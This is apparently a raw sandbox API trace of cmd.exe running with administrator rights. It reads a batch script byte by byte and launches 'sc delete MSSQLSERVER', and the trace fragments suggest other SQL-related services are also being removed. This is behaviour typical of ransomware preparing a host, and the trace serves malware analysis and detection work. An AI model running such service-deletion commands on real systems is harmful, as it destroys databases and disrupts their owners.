lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLFDLauncher\nce\n") returned 1 [0068.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.958] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher\nce\n") returned 1 [0068.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.959] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher\nce\n") returned 1 [0068.959] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.959] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.959] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SQLFDLauncher\nce\n") returned 1 [0068.959] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.959] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.959] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher\nce\n") returned 1 [0068.959] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.959] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.959] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="LFDLauncher\nce\n") returned 1 [0068.959] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.959] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.959] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="SDLauncher\nce\n") returned 1 [0068.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.960] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.960] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="ELauncher\nce\n") returned 1 [0068.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.960] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.960] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Rauncher\nce\n") returned 1 [0068.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.960] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.960] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Vuncher\nce\n") returned 1 [0068.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.960] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.960] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="Encher\nce\n") returned 1 [0068.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="Rcher\nce\n") returned 1 [0068.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="\nher\nce\n") returned 1 [0068.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.961] GetFileType (hFile=0xb8) returned 0x3 [0068.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.961] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.961] GetFileType (hFile=0x120) returned 0x3 [0068.961] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLSERVER\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLSERVER\n", lpUsedDefaultChar=0x0) returned 23 [0068.961] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x16, lpOverlapped=0x0) returned 1 [0068.961] GetProcessHeap () returned 0x4a0000 [0068.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c4630 [0068.962] GetProcessHeap () returned 0x4a0000 [0068.962] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4630 | out: hHeap=0x4a0000) returned 1 [0068.962] GetProcessHeap () returned 0x4a0000 [0068.962] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.962] GetProcessHeap () returned 0x4a0000 [0068.962] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0068.963] GetProcessHeap () returned 0x4a0000 [0068.963] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6510 [0068.963] GetConsoleOutputCP () returned 0x1b5 [0068.963] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.963] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.964] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.964] GetProcessHeap () returned 0x4a0000 [0068.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.964] GetProcessHeap () returned 0x4a0000 [0068.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0068.964] GetProcessHeap () returned 0x4a0000 [0068.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0068.964] SetErrorMode (uMode=0x0) returned 0x1 [0068.964] SetErrorMode (uMode=0x1) returned 0x0 [0068.964] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.964] SetErrorMode (uMode=0x1) returned 0x1 [0068.964] GetProcessHeap () returned 0x4a0000 [0068.964] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0068.964] GetProcessHeap () returned 0x4a0000 [0068.964] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0068.965] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.965] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.965] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.965] GetProcessHeap () returned 0x4a0000 [0068.965] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.965] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.965] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.966] GetLastError () returned 0x2 [0068.966] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.966] GetLastError () returned 0x2 [0068.966] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.966] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.966] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.967] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.967] GetLastError () returned 0x2 [0068.967] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.967] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.967] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.967] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.967] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.967] GetProcessHeap () returned 0x4a0000 [0068.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0068.968] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.968] GetProcessHeap () returned 0x4a0000 [0068.968] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa4) returned 0x4b9180 [0068.968] GetProcessHeap () returned 0x4a0000 [0068.968] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa4 [0068.968] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLSERVER") returned 1 [0068.968] GetProcessHeap () returned 0x4a0000 [0068.969] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0068.969] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.969] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.969] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.969] GetProcessHeap () returned 0x4a0000 [0068.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.969] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.970] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.970] GetProcessHeap () returned 0x4a0000 [0068.970] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.970] GetProcessHeap () returned 0x4a0000 [0068.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0068.971] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLSERVER", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLSERVER", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MSSQLSERVER", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x8c4, dwThreadId=0x8d4)) returned 1 [0068.988] CloseHandle (hObject=0x54) returned 1 [0068.988] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.988] GetProcessHeap () returned 0x4a0000 [0068.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.988] GetEnvironmentStringsW () returned 0x4c1b10* [0068.988] GetProcessHeap () returned 0x4a0000 [0068.988] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0068.989] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0068.989] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.989] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.989] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0069.044] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.044] CloseHandle (hObject=0x50) returned 1 [0069.044] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.044] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.044] GetProcessHeap () returned 0x4a0000 [0069.044] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.044] GetEnvironmentStringsW () returned 0x4c1b10* [0069.044] GetProcessHeap () returned 0x4a0000 [0069.044] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.044] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.044] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.044] GetProcessHeap () returned 0x4a0000 [0069.044] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.044] GetEnvironmentStringsW () returned 0x4c1b10* [0069.045] GetProcessHeap () returned 0x4a0000 [0069.045] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.045] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.045] GetProcessHeap () returned 0x4a0000 [0069.045] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.045] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.045] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.045] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.045] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.045] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.045] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.046] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.046] GetConsoleOutputCP () returned 0x1b5 [0069.046] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.046] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.046] GetProcessHeap () returned 0x4a0000 [0069.046] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.046] GetProcessHeap () returned 0x4a0000 [0069.046] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.046] GetProcessHeap () returned 0x4a0000 [0069.046] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.046] GetProcessHeap () returned 0x4a0000 [0069.046] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, 